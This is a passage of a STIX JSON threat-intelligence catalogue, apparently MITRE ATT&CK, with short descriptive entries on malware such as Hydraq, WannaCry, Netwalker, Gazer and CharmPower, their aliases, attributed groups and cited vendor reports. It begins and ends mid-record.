2016)(Citation: Symantec APT28 Oct 2018)"},{"source_name":"XAPS","description":"(Citation: ESET Sednit Part 2)"},{"source_name":"Crowdstrike DNC June 2016","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.","url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"},{"source_name":"Invincea XTunnel","description":"Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.","url":"https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/"},{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"},{"source_name":"Symantec APT28 Oct 2018","url":"https://www.symantec.com/blogs/election-security/apt28-espionage-military-government","description":"Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018."}],"modified":"2020-03-21T00:40:57.275Z","name":"XTunnel","description":"[XTunnel](https://attack.mitre.org/software/S0117) a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by [APT28](https://attack.mitre.org/groups/G0007) during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)","x_mitre_version":"2.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Hydraq","Roarur","MdmBot","HomeUnix","Homux","HidraQ","HydraQ","McRat","Aurora","9002 RAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"S0203","url":"https://attack.mitre.org/software/S0203"},{"source_name":"9002 RAT","description":"(Citation: MicroFocus 9002 Aug 2016)"},{"source_name":"Roarur","description":"(Citation: Novetta-Axiom)"},{"source_name":"MdmBot","description":"(Citation: Novetta-Axiom)"},{"source_name":"HomeUnix","description":"(Citation: Novetta-Axiom)"},{"source_name":"Homux","description":"(Citation: Novetta-Axiom)"},{"source_name":"HidraQ","description":"(Citation: Novetta-Axiom)"},{"source_name":"HydraQ","description":"(Citation: Novetta-Axiom)"},{"source_name":"McRat","description":"(Citation: Novetta-Axiom)"},{"source_name":"Hydraq","description":"(Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010)"},{"source_name":"Aurora","description":"(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)"},{"source_name":"ASERT Seven Pointed Dagger Aug 2015","url":"https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf","description":"ASERT. (2015, August). ASERT Threat Intelligence Report – Uncovering the Seven Pointed Dagger. Retrieved March 19, 2018."},{"source_name":"PaloAlto 3102 Sept 2015","url":"https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/","description":"Falcone, R. & Miller-Osborn, J. (2015, September 23). Chinese Actors Use ‘3102’ Malware in Attacks on US Government and EU Media. Retrieved March 19, 2018."},{"source_name":"ProofPoint GoT 9002 Aug 2017","url":"https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures","description":"Huss, D. & Mesa, M. (2017, August 25). Operation RAT Cook: Chinese APT actors use fake Game of Thrones leaks as lures. Retrieved March 19, 2018."},{"source_name":"FireEye Sunshop Campaign May 2013","url":"https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html","description":"Moran, N. (2013, May 20). Ready for Summer: The Sunshop Campaign. Retrieved March 19, 2018."},{"source_name":"FireEye DeputyDog 9002 November 2013","url":"https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html","description":"Moran, N. et al.. (2013, November 10). Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method. Retrieved March 19, 2018."},{"source_name":"Novetta-Axiom","url":"http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014."},{"source_name":"Symantec Elderwood Sept 2012","url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018."},{"source_name":"MicroFocus 9002 Aug 2016","url":"https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ","description":"Petrovsky, O. (2016, August 30). “9002 RAT” -- a second building on the left. Retrieved February 20, 2018."},{"source_name":"Symantec Trojan.Hydraq Jan 2010","url":"https://www.symantec.com/connect/blogs/trojanhydraq-incident","description":"Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025).(Citation: MicroFocus 9002 Aug 2016)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: ASERT Seven Pointed Dagger Aug 2015)(Citation: FireEye DeputyDog 9002 November 2013)(Citation: ProofPoint GoT 9002 Aug 2017)(Citation: FireEye Sunshop Campaign May 2013)(Citation: PaloAlto 3102 Sept 2015)","modified":"2022-04-15T14:57:44.182Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Hydraq","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SHARPSTATS"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--73c4711b-407a-449d-b269-e3b1531fe7a9","type":"malware","created":"2020-05-18T19:51:37.488Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0450","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0450"},{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-21T13:12:36.865Z","name":"SHARPSTATS","description":"[SHARPSTATS](https://attack.mitre.org/software/S0450) is a .NET backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2019.(Citation: TrendMicro POWERSTATS V3 June 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Ferocious"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--73d08401-005f-4e1f-90b9-8f45d120879f","type":"malware","created":"2022-02-01T19:19:26.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0679","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0679"},{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-01T21:21:35.768Z","name":"Ferocious","description":"[Ferocious](https://attack.mitre.org/software/S0679) is a first stage implant composed of VBS and PowerShell scripts that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["HOMEFRY"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0232","external_id":"S0232"},{"source_name":"HOMEFRY","description":"(Citation: FireEye Periscope March 2018)"},{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2020-03-30T16:47:38.393Z","name":"HOMEFRY","description":"[HOMEFRY](https://attack.mitre.org/software/S0232) is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other [Leviathan](https://attack.mitre.org/groups/G0065) backdoors. (Citation: FireEye Periscope March 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Caterpillar WebShell"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","type":"malware","created":"2021-02-10T18:20:51.309Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0572","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0572"},{"source_name":"Caterpillar WebShell","description":"(Citation: ClearSky Lebanese Cedar Jan 2021)(Citation: CheckPoint Volatile Cedar March 2015)"},{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."},{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}],"modified":"2021-04-27T01:47:15.413Z","name":"Caterpillar WebShell","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) is a self-developed Web Shell tool created by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123).(Citation: ClearSky Lebanese Cedar Jan 2021) ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Netwalker"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--754effde-613c-4244-a83e-fb659b2a4d06","type":"malware","created":"2020-05-26T21:02:38.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0457","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0457"},{"source_name":"TrendMicro Netwalker May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/","description":"Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."}],"modified":"2020-06-16T16:14:19.924Z","name":"Netwalker","description":"[Netwalker](https://attack.mitre.org/software/S0457) is fileless ransomware written in PowerShell and executed directly in memory.(Citation: TrendMicro Netwalker May 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Elise","BKDR_ESILE","Page"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","type":"malware","created":"2017-05-31T21:32:54.416Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0081","external_id":"S0081"},{"source_name":"Elise","description":"(Citation: Accenture Dragonfish Jan 2018)"},{"source_name":"BKDR_ESILE","description":"(Citation: Lotus Blossom Jun 2015)"},{"source_name":"Page","description":"(Citation: Lotus Blossom Jun 2015)"},{"source_name":"Lotus Blossom Jun 2015","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html"},{"description":"Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS’ MEETING AND ASSOCIATES. Retrieved November 14, 2018.","url":"https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf","source_name":"Accenture Dragonfish Jan 2018"}],"modified":"2020-03-20T23:20:16.933Z","name":"Elise","description":"[Elise](https://attack.mitre.org/software/S0081) is a custom backdoor Trojan that appears to be used exclusively by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["USBferry"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--75bba379-4ba1-467e-8c60-ec2b269ee984","type":"malware","created":"2020-05-20T19:54:06.476Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0452","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0452"},{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-06-16T15:52:25.167Z","name":"USBferry","description":"[USBferry](https://attack.mitre.org/software/S0452) is an information stealing malware and has been used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) in targeted attacks against Taiwanese and Philippine air-gapped military environments. [USBferry](https://attack.mitre.org/software/S0452) shares an overlapping codebase with [YAHOYAH](https://attack.mitre.org/software/S0388), though it has several features which makes it a distinct piece of malware.(Citation: TrendMicro Tropic Trooper May 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jan Miller, CrowdStrike"],"x_mitre_aliases":["WannaCry","WanaCry","WanaCrypt","WanaCrypt0r","WCry"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","type":"malware","created":"2019-03-25T17:30:17.004Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0366","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0366"},{"source_name":"WanaCry","description":"(Citation: SecureWorks WannaCry Analysis)"},{"source_name":"WanaCrypt","description":"(Citation: SecureWorks WannaCry Analysis)"},{"source_name":"WanaCrypt0r","description":"(Citation: LogRhythm WannaCry)"},{"source_name":"WCry","description":"(Citation: LogRhythm WannaCry)(Citation: SecureWorks WannaCry Analysis)"},{"description":"Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.","url":"https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/","source_name":"LogRhythm WannaCry"},{"source_name":"US-CERT WannaCry 2017","url":"https://www.us-cert.gov/ncas/alerts/TA17-132A","description":"US-CERT. (2017, May 12). Alert (TA17-132A): Indicators Associated With WannaCry Ransomware. Retrieved March 25, 2019."},{"description":"Dwoskin, E. and Adam, K. (2017, May 14). More than 150 countries affected by massive cyberattack, Europol says. Retrieved March 25, 2019.","url":"https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html?utm_term=.7fa16b41cad4","source_name":"Washington Post WannaCry 2017"},{"source_name":"FireEye WannaCry 2017","url":"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html","description":"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019."},{"source_name":"SecureWorks WannaCry Analysis","url":"https://www.secureworks.com/research/wcry-ransomware-analysis","description":"Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019."}],"modified":"2020-05-13T22:59:51.283Z","name":"WannaCry","description":"[WannaCry](https://attack.mitre.org/software/S0366) is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.(Citation: LogRhythm WannaCry)(Citation: US-CERT WannaCry 2017)(Citation: Washington Post WannaCry 2017)(Citation: FireEye WannaCry 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Bartosz Jerzman"],"x_mitre_aliases":["Gazer","WhiteBear"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0168","external_id":"S0168"},{"source_name":"Gazer","description":"(Citation: ESET Gazer Aug 2017)"},{"source_name":"WhiteBear","description":"The term WhiteBear is used both for the activity group (a subset of G0010) as well as the malware observed. Based on similarities in behavior and C2, WhiteBear is assessed to be the same as S0168. (Citation: Securelist WhiteBear Aug 2017)(Citation: ESET Crutch December 2020)"},{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"},{"source_name":"Securelist WhiteBear Aug 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.","url":"https://securelist.com/introducing-whitebear/81638/"},{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-04T21:07:22.870Z","name":"Gazer","description":"[Gazer](https://attack.mitre.org/software/S0168) is a backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2016. (Citation: ESET Gazer Aug 2017)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tatsuya Daitoku, Cyber Defense Institute, Inc."],"x_mitre_aliases":["TSCookie"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","created":"2020-05-06T15:43:49.556Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0436","url":"https://attack.mitre.org/software/S0436"},{"source_name":"JPCert PLEAD Downloader June 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."},{"source_name":"JPCert TSCookie March 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020."},{"source_name":"JPCert BlackTech Malware September 2019","url":"https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html","description":"Tomonaga, S.. (2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TSCookie](https://attack.mitre.org/software/S0436) is a remote access tool (RAT) that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) in campaigns against Japanese targets.(Citation: JPCert TSCookie March 2018)(Citation: JPCert BlackTech Malware September 2019). [TSCookie](https://attack.mitre.org/software/S0436) has been referred to as [PLEAD](https://attack.mitre.org/software/S0435) though more recent reporting indicates a separation between the two.(Citation: JPCert PLEAD Downloader June 2018)(Citation: JPCert BlackTech Malware September 2019)","modified":"2022-04-15T11:32:25.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"TSCookie","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Pay2Key"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83","type":"malware","created":"2021-01-04T15:12:14.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0556","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0556"},{"source_name":"ClearkSky Fox Kitten February 2020","url":"https://www.clearskysec.com/fox-kitten/","description":"ClearSky. (2020, February 16). Fox Kitten – Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020."},{"source_name":"Check Point Pay2Key November 2020","url":"https://research.checkpoint.com/2020/ransomware-alert-pay2key/","description":"Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}],"modified":"2021-04-22T02:48:54.019Z","name":"Pay2Key","description":"[Pay2Key](https://attack.mitre.org/software/S0556) is a ransomware written in C++ that has been used by [Fox Kitten](https://attack.mitre.org/groups/G0117) since at least July 2020 including campaigns against Israeli companies. [Pay2Key](https://attack.mitre.org/software/S0556) has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["Chaes"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","type":"malware","created":"2021-06-30T16:13:40.232Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0631","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0631"},{"source_name":"Chaes","description":"(Citation: Cybereason Chaes Nov 2020)"},{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-10-12T21:51:39.986Z","name":"Chaes","description":"[Chaes](https://attack.mitre.org/software/S0631) is a multistage information stealer written in several programming languages that collects login credentials, credit card numbers, and other financial information. [Chaes](https://attack.mitre.org/software/S0631) was first observed in 2020, and appears to primarily target victims in Brazil as well as other e-commerce customers in Latin America.(Citation: Cybereason Chaes Nov 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Briba"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--79499993-a8d6-45eb-b343-bf58dea5bdde","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0204","external_id":"S0204"},{"source_name":"Briba","description":"(Citation: Symantec Briba May 2012)"},{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"source_name":"Symantec Briba May 2012","description":"Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99"}],"modified":"2021-02-09T14:56:14.671Z","name":"Briba","description":"[Briba](https://attack.mitre.org/software/S0204) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["CharmPower"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","type":"malware","created":"2022-01-24T16:56:36.108Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0674","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0674"},{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T15:43:34.231Z","name":"CharmPower","description":"[CharmPower](https://attack.mitre.org/software/S0674) is a PowerShell-based, modular backdoor that has been used by [Magic Hound](https://attack.mitre.org/groups/G0059) since at least 2022.(Citation: Check Point APT35 CharmPower January 